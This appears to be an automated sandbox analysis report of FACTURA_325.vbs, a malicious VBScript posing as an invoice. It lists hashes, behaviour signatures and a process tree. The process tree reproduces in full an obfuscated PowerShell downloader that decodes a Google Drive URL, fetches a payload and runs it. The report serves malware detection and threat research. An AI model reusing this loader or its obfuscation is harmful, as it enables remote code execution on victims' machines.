Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/04/2024, 09:53

General

  • Target

    FACTURA_325.vbs

  • Size

    210KB

  • MD5

    4dd365afd7e8492402b7085ddc4bd66b

  • SHA1

    2abc1ea2974a94af2baae30e6b37e0112e518b93

  • SHA256

    487900466cf9a708a96f2bac15da523c6864b88ffb0090b6b58d114b141d8e86

  • SHA512

    bdadf6d6ea9d9df61dd8440276820788e2a60c0ecf4019968ca80f88584a6230dec5bb5d450f1ef3ebb9feed75a65c64b7434297c815005b64b1c29eab6545f3

  • SSDEEP

    6144:dYBgIjQvrMbWSR4WHUJJs9E87Fy4lZrUChpqKmjum4QlNVrDjXR46cCPCRJfSq7f:m2dO177Oc

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FACTURA_325.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Natrojarosite = 1;$Resmedlemmet='Substrin';$Resmedlemmet+='g';Function Swith($Grelot){$Eksempelteksterne=$Grelot.Length-$Natrojarosite;For($Knowability=5; $Knowability -lt $Eksempelteksterne; $Knowability+=(6)){$Gloserne132+=$Grelot.$Resmedlemmet.Invoke($Knowability, $Natrojarosite);}$Gloserne132;}function dirigentklokkens($Deliberations){. ($Computerprogrammrer) ($Deliberations);}$Flyttevogne=Swith 'V.skeMStivnoLandsz Q adiIvoryl orfilSammeaHje,l/Ans a5S rde. Emis0Mulen Mu,i(BygniWSljeri arnlnPinksdBecurofimrewW.odisScabr miljbN OverTNonli Rupti1U,luf0 Afva.Flor 0Evapo;Ne.hr Pro,Wk,asmiSt,mknBanks6At,od4Sekti;Slubb Klerix S.at6 fla4Hylde;Bundg JacarResdovKoghe:Pla e1S,lee2 Hytt1Takof.stdpu0Circu)Aktio NontiGMiliteDuftec Papak.lotaoHaema/ Tota2Xosau0Overe1Ti.lb0Uigen0 S,dd1Vandb0Hurea1Arbej SenhFRsteri lorerMed,aeEsterf,nshoo syk xFa.rs/Su.ak1Harsk2Ukamp1Subcl. Nu.r0 Oppu ';$Misintelligible200=Swith 'TenaiUUnjoisOophoem.tsurIndeh-SkrpeAUnascgStempe K kenVedlitUd.mp ';$Centralperspektiverne=Swith ' Cleah umpetShametHjrehpHrligsTiger:Xylog/Lunge/Betwidnegror UraniLonkivqui,re Rygr.padlegPenlio veraoCol.egQu ddlNydame ops.SkattcIn eroR,cermPr,gr/ Curlu MusscFl.te?TilskeFelupxKaya p ZelaoSha.prTi,htt Matr=PomoldAmyosoDaemowSpletnmo.silUdspio In oaInfiedtopme&TursciUnhaldEnrob=Stra.1,eltaxSprin6Ca saNHeltapSodavMhjforITeaktNBrudeSNatioZ ,senhSamm.SrichlC Sl.liPandaM Klo,zS ockpCynis7 .elvNCahok5Te.noF fr hT RadiSEndelESigbrZFishi8Al.doSAftryGOverpnDacryG Citr1DisslJRob.nUSul e ';$Dummyens=Swith 'Se,ip>Teleb ';$Computerprogrammrer=Swith 'KonstiEnergeSonn.x Luc ';$Tobaksfabrikkens = Swith 'Profeecall cFr dshComploIntim Far %Skra,aB aliplitogpMi,itdAfkl.aVarictArgumaF.rkr%Enhea\fj,rtST.rnoa T.icg KryssGalbabordkleSkam h.orsga SkolnTi,erdPlayolUskifi HarvnLabyrgSyk.rsAbi ssBop eyCetans orgmt Pinne Sp rmAnato2 Haan3St,ts7Freg,. ProfRFrimriLega.v Si,k Lek.i&B,tik&Sa gs IlluseUdkancInfo,hBoxieoMater Tilsl$We.dm ';dirigentklokkens (Swith 'Und,r$ Leucg RisilSelvfoSubexbNiko.aMimeolR,fac:UnshoT,rstejE pireRetshn isaneA.ndssPapmltE pyreSaturyVe ledsimpees,rafl KosasIndekeIgno,sSa.me=S,lvu(DeflocGeninm OpnodNomad Helle/Stev.cZooto kni,p$IonisTRe aro De,tbKa ata.uclekAvlensHemi,f.eligaSjle.bBygger jemmiRdderkRestek lavieSacranSdyg.sKios,)Uncol ');dirigentklokkens (Swith 'Muss.$coquegFrem l KlinoDed,cbwheena.yclolCalli:AnodiS Ne.spUnfriaCa.nolBagsttPaladeFig rr TilpsSangd1 edel6Penge2Galo,= Miss$transCUnscreKageknForbat NoncrPus.caLemonlDataupKlippeteltsrRensssBiltopAndroeir.edkUneattW.iski LngdvIrr,teStridrSyddanDd,treKued,. Trins Opsap B helSec,niArbejt Lers(ti,ba$HorseDIn,eruNeu om DrivmTery yTrawleKefirnQuatesRos.a)D,jbu ');$Centralperspektiverne=$Spalters162[0];dirigentklokkens (Swith '.yste$Bi.dwg,nigmlreda.oMiliebantisa,ouselPedro:ForanFFi,keaDildasAiresh stave naladBas,l= EiviNG vlheSlagtwbenzi-YngleOD.legbBo.dijIsoteeReaddc To,stantiq U naSRestpy.ngdes BlootPrinte Skrom Ursp.S.omiNStaffeL.dnitForm,.WaregWP.ykoetyndsbMelleC LinolObeliiKartoeSkeptnBeskytSubst ');dirigentklokkens (Swith 'p ote$ Pyo FKert aDerousUligeh selfePar.id eser.HouseH spene nistaT,ansdBedwaeGrundr Sem.s tr,n[H mat$ErkynM Uds iDet,ks ,ngvi fe mnStyggtNewfaeU,penlRede lDemisi,ocergHydr.iniob bAdli.l P.nse Mark2qua r0 Moti0Int,o] Gian=Disp $OpklaFskrivl Augsy,rmant Bokst VandeUad lvfingeoC llegPrefonDatateEmiss ');$Solpletterne=Swith ' PartF ScabaSkr vsPr kmh too,eKinnidPrin..Gela,D M kroDron wUphurnPa til arlyo NonaaKlbkid wineF op.yida,delSingue.eana( B so$FjeldCPaakeeNonpuntikamtAfroar ManiaDriftlUnredp.ecameSagkyr DurssHandfpAkilleMillikVirilt.eacei Storv Varee Spitr Spatnamygde Pin ,G.dst$L,mpeF fvikoSilkwrDecafcAfgrseHofterKarame Posy) Nobu ';$Solpletterne=$Tjenesteydelses[1]+$Solpletterne;$Forcere=$Tjenesteydelses[0];dirigentklokkens (Swith 'Unvu,$Unresg FunklGenstoM torb.tomkaForbel Vaag:RepriHkvarte BombuFlyvecI.dsahRicci=Drvle(ShariTImpoteUndissKonkrtAnnam-MakarPKva iaDybettangerhAngey Profe$a,rsrFNakskoFiss.rStra cQueereSkildrBruxeeRdvig)Blaas ');while (!$Heuch) {dirigentklokkens (Swith 'Griml$Bajong MinelKrikkoR latbBatteaBrushlBoyar:MesmePPau.eaSk.lsnBeguinOsculeF,neslUtopilOlogia SabitCoatii ToksoDivernP exy=Therm$Tran.tAcranrSkurru OvereUnder ') ;dirigentklokkens $Solpletterne;dirigentklokkens (Swith ' NyopS,sthat ClevaRoligrAfstrtTearf-KatabSPotbolComouesr laeDosaep lvhy Hormo4Tinte ');dirigentklokkens (Swith 'Ca el$BaandgCoix lApag.o KappbO.doya Or sl Utak:EntitHZ.pbue Pen,uDeletc.oldehI,vin= Fome(UnspeT,adereBikl,s arrt ortl-AktivPSuperaGravet Termh.igbe Ko.o$.erisF Bor.o laasrCe.tic Ter e pnderUnimpeMisde)Mande ') ;dirigentklokkens (Swith 'Kredi$DeflagAmar lS atko Dis bNe,teaP.rielFir.a:StewaF Kaffl tro iafstud TransFr rvpKvi drCopyhm Incoii careBalfar BeflnMokkee Radb= Asyn$ GenngSop ilPompho ondobFrontaSkravlHosio:KlaneLLaundiThyrobJetmaeFusker PeriiLnrklsVolupkGu py1Duffs+ Figu+Mold % ,ack$SafraSIdentpHafisaoverslD,eeitSystee,lvsmrV.ntesVirks1Phase6Margi2Te at.NonexcSletfoPaleou AkinnMelbut kna. ') ;$Centralperspektiverne=$Spalters162[$Flidsprmierne];}dirigentklokkens (Swith 'Awful$,lutpgSynftl armoDrogebLydblaUnwadlMenag:SeksuLF aveiVentuv SupessamfuvOmstnaSparirSi.nfiIndstgpr toh Eurue AfgidG uze Incre= ,rom ForprGChockenit otCurab-G.ffeCSmintoPnyxlnImpoutUdbrueFul inOverdt Mon G.und$CountFOpjusoPlonkrStordcSte,ee TintrBe.ine Tame ');dirigentklokkens (Swith 'Af.ul$SantigOen tlKitzaoButikbElectaZ,motlMorge:RodwoR Atmoo HaarmMinedeInters.avltcFis eoTillutMaale S ul=Sone, Benn[PaxilSBandiy Tho sBercetDem.ne C afmFor,a.EncysCRepugoKapitnExulcvEmpire rat r Ski.tAccus],emis:Tirre: UncuFFrequrPre ioGrundmBommeBwalloaUdk,ksB,ugee ,lgg6Kvden4PeracS EftetC,ondrOploei,lastnRidesgk.nku( R ts$ idnaLAlleriIslamv Aa,ssUndervMaytha ElecrClamoi ipesg ravhF,stgeSpraid Endo)Pal.f ');dirigentklokkens (Swith 'Kursu$KirklgP.enelAlderoSpisebMembeaA,klelQuadr: portTTigonrJunkya Lla nAutops OveriMi.vittagpae marbrQu asiAfbenn.ntrog KalceSentinUnsol Lino=Parti Glari[A.pliSDressyEksposDumdrtA tileUtjenm jeff.ShrimTSkvvieSp llxKostpt .ald.PurifEHauflnBauxicTa lioViderd,mposiEvapon ,delgPende] evok:noncr:AllopAHydroS VandCSp,geIGrns.Iunviv.ExploGRe onePilletKlu eSDagpetH.stor unaliKniben Unmagpogo ( Auto$blomsRForh ochessmStubieFlyvesAdestcUb anoAldertF.ppl)Undis ');dirigentklokkens (Swith 'Bghjo$Radargp asml Low oB.ttebUnsheaSeismlElekt:IndsmSbl.sty BullmCoachpSmadroAarstsAagreiTranssObligi elmauNonvem HummsR,fug=H,ben$b.nddTA therOff caEserin isss NonaiSovkhtUmynde Ven.rYighaiHovedn Destg Act,eMali.n Afga.Immats ,arauBen.ebTiltysHypoktassocrRets iFigurnKnsesgVrage( syns3Ronne0 Skva7Nnsom8unmil4Ideal0str,n, Beto2An,ic8Sluff3B ydn1Mec.i2 Jotd)Hepar ');dirigentklokkens $Symposisiums;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:780
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsbehandlingssystem237.Riv && echo $"
        3⤵
          PID:1624

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wae5lgpx.1az.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/780-4-0x0000014F429E0000-0x0000014F42A02000-memory.dmp

            Filesize

            136KB

          • memory/780-12-0x00007FF983270000-0x00007FF983D31000-memory.dmp

            Filesize

            10.8MB

          • memory/780-13-0x0000014F429D0000-0x0000014F429E0000-memory.dmp

            Filesize

            64KB

          • memory/780-14-0x0000014F429D0000-0x0000014F429E0000-memory.dmp

            Filesize

            64KB

          • memory/780-15-0x0000014F429D0000-0x0000014F429E0000-memory.dmp

            Filesize

            64KB

          • memory/780-20-0x00007FF983270000-0x00007FF983D31000-memory.dmp

            Filesize

            10.8MB